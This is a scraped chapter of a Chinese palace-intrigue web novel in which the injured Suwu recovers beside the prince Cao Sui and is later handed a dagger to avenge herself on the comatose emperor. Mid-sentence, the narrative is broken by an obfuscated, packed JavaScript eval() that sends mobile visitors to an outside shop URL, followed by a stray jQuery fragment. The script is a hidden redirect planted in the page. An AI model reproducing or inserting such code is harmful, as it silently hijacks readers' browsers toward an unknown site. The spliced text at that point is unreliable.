文趣网 > 都市小说 > 乌衔枝 > 24. 醒来
    素乌转头看了看四周的环境,在一个陌生的房间,曹随在身边,她放松了下来,深深地吸了一口气,喃喃道:“曹淇呢……”

    曹随握住素乌的手,“你不先问问我好不好,怎么一开口就是曹淇那家伙……”

    素乌没有接话,思绪在感受到手被曹随牢牢攥在掌心后便涣散了,她指尖蜷了蜷,一点点把手从他的掌心抽离,可手上一用力,便传来钻心的疼痛。

    素乌的手腕被包了起来,暂时无法活动。

    疼痛使得她额头上顿时冒出颗颗汗珠。

    曹随拉紧袖子,在素乌的额头上轻轻拂了一下,为她擦去。

    “素乌丫头,那日我要多谢你。”曹随认真的看着素乌的眼睛,语气十分正式,“若非你奋不顾身,我早已命丧曹淇的刀下了,我欠你一条命。”

    素乌被曹淇炽热的目光看得有些背脊发麻,她避开曹随的目光,摇了摇头闭上眼睛,喃喃道:“你不欠我,不用过意不去,这是我自己的选择。”

    曹随的眼神顿时变得破碎,心被狠狠揪了一下。

    他把目光放回素乌的手腕,“你的手……伏山使说筋骨没断,慢慢养着就能恢复,只是以后可能用不上力气了,也不像原来那么灵活了。”

    素乌听到这话,忽然睁开眼睛,转头看向曹随,想从他的眼睛里确认这话的真假。

    素乌只从他的眼睛里看出了怜悯,她顿时明白了曹随说的很委婉了,眼底慢慢渗出来一点水花,但被她强忍住了。

    “对不起。”曹随声音沙哑哽咽。

    素乌停顿了片刻,却眼睛眯着笑了笑,眼泪被挤着从眼角滑落,语气却并不悲伤:“没关系,我还有很多时间好好恢复呢。而且,机关师靠的是技巧而非蛮力,不要紧的。”

    曹随看素乌强作坚强的模样,更加心疼。

    他伸手要为素乌擦掉眼角的泪,素乌却轻轻偏了偏头,躲开了他的手。

    曹随的手在空中停住,他慢慢的收回了手,转身去拿桌上的药。

    “素乌丫头,我来喂你喝药吧。”曹随拿起勺子,舀起一勺药,就要往素乌的嘴边送。

    素乌摇摇头,“我自己来,只是一点小伤,又不是不能动了。”

    曹随点点头,把药碗放回桌子上,走到床头的位置,一手垫在素乌的后颈,另一手拖住她的腰,将她的上半身缓缓托起。

    托起素乌后,他顺势将身子半侧,用自己的肩膀抵住她的后背,让她靠在自己的身上。

    素乌坐起来的瞬间忽然一愣,她感觉双腿之下空空如也,毫无支点。

    她猛地侧头看了一眼曹随,曹随见她看过来,便以微笑回应。素乌还是楞楞的,她环顾四周,发现自己的机关腿被摆放在床尾的位置。

    她内心翻涌上一阵剧痛,鼻头抑制不住的酸疼,呼吸骤然急促起来。

    曹随发现素乌有些不对劲,顺着她的目光看去,也看到了床位的机关腿,瞬间明白了素乌的想法。

    “你失血太多,必须放平身体才能好好休息让血回流,所以我就帮你把机关腿卸下来了。”曹随小心翼翼的轻声说,同时在观察素乌的反应。

    素乌非常想哭,她慢慢哽咽,她咬紧嘴唇,努力让自己不发出任何声音。

    这一刻忽然产生了想死的想法。她从未因自己残疾而觉得低人一等,只是一直小心翼翼的遮掩这件明明人尽皆知的事。虽然改变不了现状,但她不想被人看到。

    素乌脸颊爬上浓郁的红色,心跳的厉害,指尖有些发麻,眼前一片青黑,又忽然恢复色彩,如此反复几次,素乌感到自己似乎意识有些模糊。

    曹随见素乌神色反常,安慰道:“你放心,当时没有别的宫人,只有我在。”

    听到这句,素乌彻底无法自持,悲伤如洪水般喷涌。

    她不敢看曹随,而是朝里侧着身子,捂脸痛哭,泪珠难以抑制的从眼眶倾泻而出,顺着苍白的脸颊往下淌,片刻间袖子就被泪水沾湿。

    她呜咽着,抽泣着,身体一直在颤抖,哭声细碎。

    曹随见状心中一揪,转身半蹲在床沿,张开手臂环住她的身体,把她揽入怀中,一手轻轻按住她的后脑,让她靠在自己的肩头,另一手顺着她颤抖的后背,慢慢抚摸。

    素乌把头埋在曹随的怀抱里放声痛哭。

    素乌哭了很久,曹随就静静的陪着她,什么也不说。

    许久之后,哭声渐渐地弱了,素乌的呼吸还是混乱的,但身体已经慢慢不再颤抖,她把头抵在曹随的肩上,慢慢平复了心绪。

    过了很久,素乌才慢慢推开曹随,她没有抬头,只是垂着眼睛,用未伤的手背胡乱擦了一下脸。

    曹随平静的拿过药碗,双手捧着碗壁摸了摸。

    “药有些凉了,待会让他们热一下你再喝吧。”

    素乌点点头,微微抬头看向曹随,他胸前的衣衫已经被自己沾湿。

    “素乌丫头你好好休息,等你好起来,想做什么都可以了。”曹随温柔的说,“现在你的主子已经得道,一人之下万人之上,你也可跟着一起升天了。”

    素乌轻笑一声,无奈的摇摇头。

    由于循国未建东宫,曹随只能暂住在太极殿东堂的一处偏院。素乌伤好些后,也搬了过去,和曹随比邻而居。

    素乌和曹随的住处共用一个小院,曹随接见外臣会去太极殿的东堂,只有休息时会回到小院,平时十分清净。

    素乌伤才好些,便将抱木堂取来的磁石分类拿出,开始测试他们对雪芽的干扰程度。

    她先测试单种磁石。将同种磁石放在雪芽的四周,再站远些操控璇玑盒,看雪芽的活动是否会受到干扰。

    要是某种磁石会对雪芽造成干扰,素乌便进一步框定条件,再将磁石埋在地下的四角,看看掩埋后是否会阻断干扰。

    一日曹随下朝后,看到素乌正蹲在地上刨土,便走过去,“素乌丫头在挖什么好东西,这里可是皇宫,挖到了什么可能不能私吞啊。”

    曹随看她的手腕还缠着纱布,手上全是泥土,不禁眉头一皱。

    “不是啦。”素乌抬头瞥他一眼,“我在埋磁石。”

    “这种体力活叫兼山使来帮忙便好,你的伤还没好,还是不要出这种力气了。”

    素乌摇摇头,“没关系的,我可以的。”

    谈话间,连山使也走了上来,向曹随行了个礼,“殿下,大臣们还在门口等待。”

    “知道了。”曹随回头看了连山使一眼,“我没忘记。”

    连山使行了个礼,推到一侧。

    素乌站了起来,“发生什么事了?”

    “没什么,只是有一些大臣想知道老东西到底是病了还是死透了,趁着这个机会,我要好好表演一下孝心而已。”曹随笑着说。

    “他毕竟是你的父亲,你这样说似乎不太好吧,万一被人给听见怎么办。”

    曹随却漫不经心的摊开手,“是吗,可我觉得这么说好极了,而且这里只有你我,我还不能说几句真心话吗?”

    素乌耸了耸肩,无奈的摇摇头,“随你好了。”

    “要不要一起去凑凑热闹?”曹随挑眉坏笑道。

    “我吗

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673263|205943||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ?”素乌指着自己。

    曹随点点头,“嗯,我带你去见他一面,你把手上的泥洗掉,我在这里等你。”

    收拾好后,素乌跟着曹随和一众朝臣来到了西堂皇帝住所外。侍从打开门后,曹随带着几位中枢官员走了进去,素乌只能留在门前,和品阶比较低的官员一起跪在门口。

    曹随走近皇帝的寝宫后,来到皇帝床前,恭敬的跪倒在地,叩头向请安,“儿臣拜见父皇。”

    殿内弥漫着浓重的药味。

    皇帝则在床上静静地躺着,双目紧闭,脸色苍白,呼吸微弱而有节律。

    中枢朝臣也在曹随身后一同跪拜,曹随行礼后缓缓起身坐到了皇帝的身侧,挤出几滴眼泪,伸手握住了皇帝露在被子外的手。

    随后,他转身询问旁边的侍从一些问题。陛下这几日饮食如何,可曾醒过来,太医怎么说。他问的极细,神情忧伤而充满担忧。

    问完这些,他又亲自从侍从的手上接过手巾,亲自为皇帝擦身。

    做完这些,他又做回床边的凳子上,背脊挺直,温情的注视着皇帝,做出一副要长久守下去的姿态。

    “诸位爱卿,父皇的情况你们也看到了,本宫想在这里多陪陪父皇,你们都退下吧,等父皇醒来,我一定代为转达各位的关切之情。”

    大臣们见此情形也不好多留,相继告退。

    等殿门外的人一一退散,只剩素乌时,曹随才走到门口,“素乌丫头,进来吧。”

    曹随摆手让殿内的侍从全部退下,屋内只剩曹随和素乌。

    曹随再看老皇帝的神情骤然变得冷漠。

    “曹随,方才你的表演可太生动了,连我看了都十分感动呢。”

    素乌虽然在门口,却把屋内的景象看了个全场,尤其是刚听完曹随吧皇帝叫做老东西,转头就做出一副孝子的样子,觉得十分滑稽且讽刺。

    “岂有此理,竟敢直呼本宫大名,看来不罚你,你是不长记性了。”曹随伸手在素乌的脑门上轻轻一弹。

    曹随说完,他嫌恶的撇了一眼床上的老皇帝,又给了素乌一个眼色,仿佛在说:你去瞧瞧吧。

    素乌缓缓走到老皇帝的面前,看清了他的面容。

    他看上去不过四十来岁,须发稀疏,脸色苍白,虽然眼睛紧闭,但扔就能看出几分曹随的影子,但脸型和五官却更像曹淇。

    素乌看到老皇帝,并没有什么波澜,只是脑海中忍不住把他的模样和曹随曹淇进行对比。

    正当她出神的时候,曹随却忽然走到了她的身侧,从袖中抽出了一把匕首。

    曹随抽出匕首,将鞘随意丢在了地上,他握住匕首的柄部,将刀锋对准自己,柄部对准素乌,伸手递给她。

    他语气冷漠且坚定:“他就是下令杀死抱木堂众人的罪魁祸首,现在我给你一个机会,你有仇报仇,有怨报怨。”

    素乌听到这话,吓得浑身一颤,她立刻后退一步,瞪大双眼,不可思议的看向曹随。

    曹随的眼神却毫无波澜,只是又把拿匕首往前送了送:“机会难得啊素乌丫头,老东西命大得很,不知道什么时候就醒过来了,机不可失啊。”

    素乌鬼使神差的接过了曹随手里的匕首,她从匕首的刀锋中看到自己的模样,自己的眼中漆黑一片,空洞而不见底。

    她走到老皇帝的床前,越看他的脸,越觉得像曹随。

    素乌抑制不住,胃里泛起一阵恶心。

    她回头看了一眼曹随,曹随的目光里却全是急切。

    他没有看向素乌,而是死死的盯着床上的老皇帝。